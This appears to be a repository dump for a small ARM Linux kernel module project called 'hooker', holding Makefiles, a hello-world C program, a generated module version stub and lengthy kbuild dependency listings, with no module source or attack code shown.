static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0xb344870e, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x2e5810c6, __VMLINUX_SYMBOL_STR(__aeabi_unwind_cpp_pr1) },
{ 0xfa2a45e, __VMLINUX_SYMBOL_STR(__memzero) },
{ 0xb1ad28e0, __VMLINUX_SYMBOL_STR(__gnu_mcount_nc) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "2DEEDF502E82CB7C5A221F0");
No preview for this file type
No preview for this file type
kernel//root/hooking/dhooker/hooker.ko
No preview for this file type
export APP_NAME=hello_world
export MOD_NAME=hooker
PWD=$(shell pwd)
APP_PATH=$(PWD)/d$(APP_NAME)
MOD_PATH=$(PWD)/d$(MOD_NAME)
all: $(MOD_NAME) $(APP_NAME)
$(MOD_NAME):
$(MAKE) -C $(MOD_PATH)
mv $(MOD_PATH)/$@.ko $(PWD)
$(APP_NAME):
$(MAKE) -C $(APP_PATH)
mv $(APP_PATH)/$@ $(PWD)
clean:
$(RM) $(PWD)/$(MOD_NAME).ko
$(RM) $(PWD)/$(APP_NAME)
arm-linux-gnueabihf-gcc -C $(MOD_PATH) clean
arm-linux-gnueabihf-gcc -C $(APP_PATH) clean
APP_NAME := hello_world
all:
arm-linux-gnueabihf-gcc -o $(APP_NAME) $(APP_NAME).c
clean:
$(RM) $(APP_NAME).o
#include <stdio.h>
int main(int argc, char *argv[]){
char sHelloMsg[] = {"Hello world!\n"};
printf(sHelloMsg);
return 0;
}
cmd_/root/hooking/dhooker/hooker.ko := arm-linux-gnueabihf-ld -EL -r -T ./scripts/module-common.lds --build-id -o /root/hooking/dhooker/hooker.ko /root/hooking/dhooker/hooker.o /root/hooking/dhooker/hooker.mod.o
cmd_/root/hooking/dhooker/hooker.mod.o := arm-linux-gnueabihf-gcc -Wp,-MD,/root/hooking/dhooker/.hooker.mod.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabihf/5/include -I./arch/arm/include -Iarch/arm/include/generated/uapi -Iarch/arm/include/generated -Iinclude -I./arch/arm/include/uapi -Iarch/arm/include/generated/uapi -I./include/uapi -Iinclude/generated/uapi -include ./include/linux/kconfig.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-bcm2709/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-maybe-uninitialized -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fno-stack-protector -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -DCC_HAVE_ASM_GOTO -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(hooker.mod)" -D"KBUILD_MODNAME=KBUILD_STR(hooker)" -DMODULE -c -o /root/hooking/dhooker/hooker.mod.o /root/hooking/dhooker/hooker.mod.c
source_/root/hooking/dhooker/hooker.mod.o := /root/hooking/dhooker/hooker.mod.c
deps_/root/hooking/dhooker/hooker.mod.o := \
$(wildcard include/config/module/unload.h) \
include/linux/module.h \
$(wildcard include/config/modules.h) \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/unused/symbols.h) \
$(wildcard include/config/module/sig.h) \
$(wildcard include/config/modules/tree/lookup.h) \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/smp.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
$(wildcard include/config/livepatch.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/debug/set/module/ronx.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/types.h \
$(wildcard include/config/have/uid16.h) \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
$(wildcard include/config/64bit.h) \
include/uapi/linux/types.h \
arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/uapi/asm-generic/int-ll64.h \
arch/arm/include/generated/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
include/uapi/asm-generic/bitsperlong.h \
include/uapi/linux/posix_types.h \
include/linux/stddef.h \
include/uapi/linux/stddef.h \
include/linux/compiler.h \
$(wildcard include/config/sparse/rcu/pointer.h) \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/kasan.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
$(wildcard include/config/kprobes.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
$(wildcard include/config/gcov/kernel.h) \
$(wildcard include/config/arch/use/builtin/bswap.h) \
arch/arm/include/uapi/asm/posix_types.h \
include/uapi/asm-generic/posix_types.h \
include/linux/poison.h \
$(wildcard include/config/illegal/pointer/value.h) \
include/uapi/linux/const.h \
include/linux/kernel.h \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/atomic/sleep.h) \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/panic/timeout.h) \
/usr/lib/gcc-cross/arm-linux-gnueabihf/5/include/stdarg.h \
include/linux/linkage.h \
include/linux/stringify.h \
include/linux/export.h \
$(wildcard include/config/have/underscore/symbol/prefix.h) \
$(wildcard include/config/modversions.h) \
arch/arm/include/asm/linkage.h \
include/linux/bitops.h \
arch/arm/include/asm/bitops.h \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
include/linux/typecheck.h \
arch/arm/include/asm/irqflags.h \
$(wildcard include/config/cpu/v7m.h) \
arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
$(wildcard include/config/thumb2/kernel.h) \
arch/arm/include/uapi/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
arch/arm/include/asm/hwcap.h \
arch/arm/include/uapi/asm/hwcap.h \
include/asm-generic/irqflags.h \
arch/arm/include/asm/barrier.h \
$(wildcard include/config/cpu/32v6k.h) \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arm/heavy/mb.h) \
$(wildcard include/config/arch/has/barriers.h) \
$(wildcard include/config/arm/dma/mem/bufferable.h) \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/arch_hweight.h \
include/asm-generic/bitops/const_hweight.h \
include/asm-generic/bitops/lock.h \
include/asm-generic/bitops/le.h \
arch/arm/include/uapi/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/uapi/linux/byteorder/little_endian.h \
include/linux/swab.h \
include/uapi/linux/swab.h \
arch/arm/include/asm/swab.h \
arch/arm/include/uapi/asm/swab.h \
include/linux/byteorder/generic.h \
include/asm-generic/bitops/ext2-atomic-setbit.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/printk.h \
$(wildcard include/config/message/loglevel/default.h) \
$(wildcard include/config/early/printk.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
include/linux/init.h \
$(wildcard include/config/broken/rodata.h) \
$(wildcard include/config/lto.h) \
include/linux/kern_levels.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/uapi/linux/kernel.h \
include/uapi/linux/sysinfo.h \
arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/dynamic_debug.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
include/uapi/linux/string.h \
arch/arm/include/asm/string.h \
$(wildcard include/config/mach/bcm2708.h) \
include/linux/errno.h \
include/uapi/linux/errno.h \
arch/arm/include/generated/asm/errno.h \
include/uapi/asm-generic/errno.h \
include/uapi/asm-generic/errno-base.h \
arch/arm/include/asm/div64.h \
arch/arm/include/asm/compiler.h \
arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
$(wildcard include/config/arm/lpae.h) \
arch/arm/include/asm/opcodes.h \
$(wildcard include/config/cpu/endian/be32.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/stat.h \
arch/arm/include/uapi/asm/stat.h \
include/uapi/linux/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/seqlock.h \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
include/linux/preempt.h \
$(wildcard include/config/preempt/count.h) \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
arch/arm/include/generated/asm/preempt.h \
include/asm-generic/preempt.h \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
$(wildcard include/config/debug/stack/usage.h) \
include/linux/bug.h \
arch/arm/include/asm/thread_info.h \
$(wildcard include/config/crunch.h) \
$(wildcard include/config/arm/thumbee.h) \
arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/kuser/helpers.h) \
$(wildcard include/config/have/arch/pfn/valid.h) \
arch/arm/include/asm/glue.h \
arch/arm/include/asm/pgtable-2level-types.h \
arch/arm/include/asm/memory.h \
$(wildcard include/config/need/mach/memory/h.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/have/tcm.h) \
$(wildcard include/config/arm/patch/phys/virt.h) \
$(wildcard include/config/phys/offset.h) \
$(wildcard include/config/virt/to/bus.h) \
include/linux/sizes.h \
arch/arm/mach-bcm2709/include/mach/memory.h \
$(wildcard include/config/bcm2708/nol2cache.h) \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/discontigmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/asm-generic/getorder.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
arch/arm/include/asm/spinlock_types.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
include/linux/rwlock_types.h \
arch/arm/include/asm/spinlock.h \
include/linux/prefetch.h \
arch/arm/include/asm/processor.h \
$(wildcard include/config/have/hw/breakpoint.h) \
$(wildcard include/config/arm/errata/754327.h) \
arch/arm/include/asm/hw_breakpoint.h \
arch/arm/include/asm/unified.h \
$(wildcard include/config/arm/asm/unified.h) \
include/linux/rwlock.h \
include/linux/spinlock_api_smp.h \
$(wildcard include/config/inline/spin/lock.h) \
$(wildcard include/config/inline/spin/lock/bh.h) \
$(wildcard include/config/inline/spin/lock/irq.h) \
$(wildcard include/config/inline/spin/lock/irqsave.h) \
$(wildcard include/config/inline/spin/trylock.h) \
$(wildcard include/config/inline/spin/trylock/bh.h) \
$(wildcard include/config/uninline/spin/unlock.h) \
$(wildcard include/config/inline/spin/unlock/bh.h) \
$(wildcard include/config/inline/spin/unlock/irq.h) \
$(wildcard include/config/inline/spin/unlock/irqrestore.h) \
include/linux/rwlock_api_smp.h \
$(wildcard include/config/inline/read/lock.h) \
$(wildcard include/config/inline/write/lock.h) \
$(wildcard include/config/inline/read/lock/bh.h) \
$(wildcard include/config/inline/write/lock/bh.h) \
$(wildcard include/config/inline/read/lock/irq.h) \
$(wildcard include/config/inline/write/lock/irq.h) \
$(wildcard include/config/inline/read/lock/irqsave.h) \
$(wildcard include/config/inline/write/lock/irqsave.h) \
$(wildcard include/config/inline/read/trylock.h) \
$(wildcard include/config/inline/write/trylock.h) \
$(wildcard include/config/inline/read/unlock.h) \
$(wildcard include/config/inline/write/unlock.h) \
$(wildcard include/config/inline/read/unlock/bh.h) \
$(wildcard include/config/inline/write/unlock/bh.h) \
$(wildcard include/config/inline/read/unlock/irq.h) \
$(wildcard include/config/inline/write/unlock/irq.h) \
$(wildcard include/config/inline/read/unlock/irqrestore.h) \
$(wildcard include/config/inline/write/unlock/irqrestore.h) \
include/linux/atomic.h \
$(wildcard include/config/generic/atomic64.h) \
arch/arm/include/asm/atomic.h \
arch/arm/include/asm/cmpxchg.h \
$(wildcard include/config/cpu/sa110.h) \
$(wildcard include/config/cpu/v6.h) \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/atomic-long.h \
include/linux/math64.h \
$(wildcard include/config/arch/supports/int128.h) \
include/linux/time64.h \
include/uapi/linux/time.h \
include/linux/uidgid.h \
$(wildcard include/config/multiuser.h) \
$(wildcard include/config/user/ns.h) \
include/linux/highuid.h \
include/linux/kmod.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/zone/dma32.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/deferred/struct/page/init.h) \
$(wildcard include/config/pm/sleep.h) \
$(wildcard include/config/cma.h) \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/isolation.h) \
$(wildcard include/config/memcg.h) \
$(wildcard include/config/zone/device.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/compaction.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/page/extension.h) \
$(wildcard include/config/no/bootmem.h) \
$(wildcard include/config/numa/balancing.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/have/memoryless/nodes.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/have/memblock/node/map.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
arch/arm/include/generated/asm/current.h \
include/asm-generic/current.h \
include/uapi/linux/wait.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/nodemask.h \
$(wildcard include/config/movable/node.h) \
include/linux/bitmap.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/page-flags-layout.h \
include/generated/bounds.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/memory/hotremove.h) \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/have/bootmem/info/node.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
$(wildcard include/config/mutex/spin/on/owner.h) \
include/linux/osq_lock.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/spin/on/owner.h) \
$(wildcard include/config/rwsem/generic/spinlock.h) \
arch/arm/include/generated/asm/rwsem.h \
include/asm-generic/rwsem.h \
include/linux/srcu.h \
include/linux/rcupdate.h \
$(wildcard include/config/tiny/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/rcu/trace.h) \
$(wildcard include/config/rcu/stall/common.h) \
$(wildcard include/config/no/hz/full.h) \
$(wildcard include/config/rcu/nocb/cpu.h) \
$(wildcard include/config/tasks/rcu.h) \
$(wildcard include/config/debug/objects/rcu/head.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/prove/rcu.h) \
$(wildcard include/config/rcu/boost.h) \
$(wildcard include/config/rcu/nocb/cpu/all.h) \
$(wildcard include/config/no/hz/full/sysidle.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/completion.h \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/debug/objects/free.h) \
include/linux/ktime.h \
include/linux/jiffies.h \
include/linux/timex.h \
include/uapi/linux/timex.h \
include/uapi/linux/param.h \
arch/arm/include/generated/asm/param.h \
include/asm-generic/param.h \
$(wildcard include/config/hz.h) \
include/uapi/asm-generic/param.h \
arch/arm/include/asm/timex.h \
include/generated/timeconst.h \
include/linux/timekeeping.h \
include/linux/rcutree.h \
include/linux/workqueue.h \
$(wildcard include/config/debug/objects/work.h) \
$(wildcard include/config/freezer.h) \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
$(wildcard include/config/no/hz/common.h) \
include/linux/sysctl.h \
$(wildcard include/config/sysctl.h) \
include/linux/rbtree.h \
include/uapi/linux/sysctl.h \
include/linux/topology.h \
$(wildcard include/config/use/percpu/numa/node/id.h) \
$(wildcard include/config/sched/smt.h) \
include/linux/smp.h \
$(wildcard include/config/up/late/init.h) \
include/linux/llist.h \
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
arch/arm/include/asm/smp.h \
include/linux/percpu.h \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/pfn.h \
arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
arch/arm/include/asm/topology.h \
$(wildcard include/config/arm/cpu/topology.h) \
include/asm-generic/topology.h \
include/linux/elf.h \
arch/arm/include/asm/elf.h \
$(wildcard include/config/vdso.h) \
arch/arm/include/asm/auxvec.h \
arch/arm/include/uapi/asm/auxvec.h \
arch/arm/include/asm/vdso_datapage.h \
arch/arm/include/asm/user.h \
include/uapi/linux/elf.h \
include/uapi/linux/elf-em.h \
include/linux/kobject.h \
$(wildcard include/config/uevent/helper.h) \
$(wildcard include/config/debug/kobject/release.h) \
include/linux/sysfs.h \
include/linux/kernfs.h \
$(wildcard include/config/kernfs.h) \
include/linux/err.h \
include/linux/idr.h \
include/linux/kobject_ns.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/jump_label.h \
$(wildcard include/config/jump/label.h) \
arch/arm/include/asm/jump_label.h \
include/linux/rbtree_latch.h \
arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
$(wildcard include/config/arm/module/plts.h) \
include/asm-generic/module.h \
$(wildcard include/config/have/mod/arch/specific.h) \
$(wildcard include/config/modules/use/elf/rel.h) \
$(wildcard include/config/modules/use/elf/rela.h) \
include/linux/vermagic.h \
include/generated/utsrelease.h \
/root/hooking/dhooker/hooker.mod.o: $(deps_/root/hooking/dhooker/hooker.mod.o)
$(deps_/root/hooking/dhooker/hooker.mod.o):
cmd_/root/hooking/dhooker/hooker.o := arm-linux-gnueabihf-gcc -Wp,-MD,/root/hooking/dhooker/.hooker.o.d -nostdinc -isystem /usr/lib/gcc-cross/arm-linux-gnueabihf/5/include -I./arch/arm/include -Iarch/arm/include/generated/uapi -Iarch/arm/include/generated -Iinclude -I./arch/arm/include/uapi -Iarch/arm/include/generated/uapi -I./include/uapi -Iinclude/generated/uapi -include ./include/linux/kconfig.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-bcm2709/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm -fno-delete-null-pointer-checks -Wno-maybe-uninitialized -O2 --param=allow-store-data-races=0 -Wframe-larger-than=1024 -fno-stack-protector -Wno-unused-but-set-variable -fno-omit-frame-pointer -fno-optimize-sibling-calls -fno-var-tracking-assignments -pg -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes -Werror=date-time -DCC_HAVE_ASM_GOTO -DMODULE -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(hooker)" -D"KBUILD_MODNAME=KBUILD_STR(hooker)" -c -o /root/hooking/dhooker/.tmp_hooker.o /root/hooking/dhooker/hooker.c
source_/root/hooking/dhooker/hooker.o := /root/hooking/dhooker/hooker.c
deps_/root/hooking/dhooker/hooker.o := \
include/linux/kernel.h \
$(wildcard include/config/lbdaf.h) \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/atomic/sleep.h) \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/panic/timeout.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
/usr/lib/gcc-cross/arm-linux-gnueabihf/5/include/stdarg.h \
include/linux/linkage.h \
include/linux/compiler.h \
$(wildcard include/config/sparse/rcu/pointer.h) \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/kasan.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
$(wildcard include/config/kprobes.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
$(wildcard include/config/gcov/kernel.h) \
$(wildcard include/config/arch/use/builtin/bswap.h) \
include/uapi/linux/types.h \
arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/uapi/asm-generic/int-ll64.h \
arch/arm/include/generated/asm/bitsperlong.h \
include/asm-generic/bitsperlong.h \
$(wildcard include/config/64bit.h) \
include/uapi/asm-generic/bitsperlong.h \
include/uapi/linux/posix_types.h \
include/linux/stddef.h \
include/uapi/linux/stddef.h \
arch/arm/include/uapi/asm/posix_types.h \
include/uapi/asm-generic/posix_types.h \
include/linux/stringify.h \
include/linux/export.h \
$(wildcard include/config/have/underscore/symbol/prefix.h) \
$(wildcard include/config/modules.h) \
$(wildcard include/config/modversions.h) \
$(wildcard include/config/unused/symbols.h) \
arch/arm/include/asm/linkage.h \
include/linux/types.h \
$(wildcard include/config/have/uid16.h) \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/arch/dma/addr/t/64bit.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
include/linux/bitops.h \
arch/arm/include/asm/bitops.h \
$(wildcard include/config/smp.h) \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
include/linux/typecheck.h \
arch/arm/include/asm/irqflags.h \
$(wildcard include/config/cpu/v7m.h) \
arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
$(wildcard include/config/thumb2/kernel.h) \
arch/arm/include/uapi/asm/ptrace.h \
$(wildcard include/config/cpu/endian/be8.h) \
arch/arm/include/asm/hwcap.h \
arch/arm/include/uapi/asm/hwcap.h \
include/asm-generic/irqflags.h \
arch/arm/include/asm/barrier.h \
$(wildcard include/config/cpu/32v6k.h) \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/fa526.h) \
$(wildcard include/config/arm/heavy/mb.h) \
$(wildcard include/config/arch/has/barriers.h) \
$(wildcard include/config/arm/dma/mem/bufferable.h) \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/arch_hweight.h \
include/asm-generic/bitops/const_hweight.h \
include/asm-generic/bitops/lock.h \
include/asm-generic/bitops/le.h \
arch/arm/include/uapi/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/uapi/linux/byteorder/little_endian.h \
include/linux/swab.h \
include/uapi/linux/swab.h \
arch/arm/include/asm/swab.h \
arch/arm/include/uapi/asm/swab.h \
include/linux/byteorder/generic.h \
include/asm-generic/bitops/ext2-atomic-setbit.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/printk.h \
$(wildcard include/config/message/loglevel/default.h) \
$(wildcard include/config/early/printk.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/debug.h) \
include/linux/init.h \
$(wildcard include/config/broken/rodata.h) \
$(wildcard include/config/lto.h) \
include/linux/kern_levels.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/uapi/linux/kernel.h \
include/uapi/linux/sysinfo.h \
arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/dynamic_debug.h \
include/linux/string.h \
$(wildcard include/config/binary/printf.h) \
include/uapi/linux/string.h \
arch/arm/include/asm/string.h \
$(wildcard include/config/mach/bcm2708.h) \
include/linux/errno.h \
include/uapi/linux/errno.h \
arch/arm/include/generated/asm/errno.h \
include/uapi/asm-generic/errno.h \
include/uapi/asm-generic/errno-base.h \
arch/arm/include/asm/div64.h \
arch/arm/include/asm/compiler.h \
arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
$(wildcard include/config/arm/lpae.h) \
arch/arm/include/asm/opcodes.h \
$(wildcard include/config/cpu/endian/be32.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/module.h \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/module/sig.h) \
$(wildcard include/config/modules/tree/lookup.h) \
$(wildcard include/config/kallsyms.h) \
$(wildcard include/config/tracepoints.h) \
$(wildcard include/config/event/tracing.h) \
$(wildcard include/config/livepatch.h) \
$(wildcard include/config/module/unload.h) \
$(wildcard include/config/constructors.h) \
$(wildcard include/config/debug/set/module/ronx.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/poison.h \
$(wildcard include/config/illegal/pointer/value.h) \
include/uapi/linux/const.h \
include/linux/stat.h \
arch/arm/include/uapi/asm/stat.h \
include/uapi/linux/stat.h \
include/linux/time.h \
$(wildcard include/config/arch/uses/gettimeoffset.h) \
include/linux/seqlock.h \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
include/linux/preempt.h \
$(wildcard include/config/preempt/count.h) \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
arch/arm/include/generated/asm/preempt.h \
include/asm-generic/preempt.h \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
$(wildcard include/config/debug/stack/usage.h) \
include/linux/bug.h \
arch/arm/include/asm/thread_info.h \
$(wildcard include/config/crunch.h) \
$(wildcard include/config/arm/thumbee.h) \
arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/copy/fa.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
$(wildcard include/config/kuser/helpers.h) \
$(wildcard include/config/have/arch/pfn/valid.h) \
arch/arm/include/asm/glue.h \
arch/arm/include/asm/pgtable-2level-types.h \
arch/arm/include/asm/memory.h \
$(wildcard include/config/need/mach/memory/h.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/have/tcm.h) \
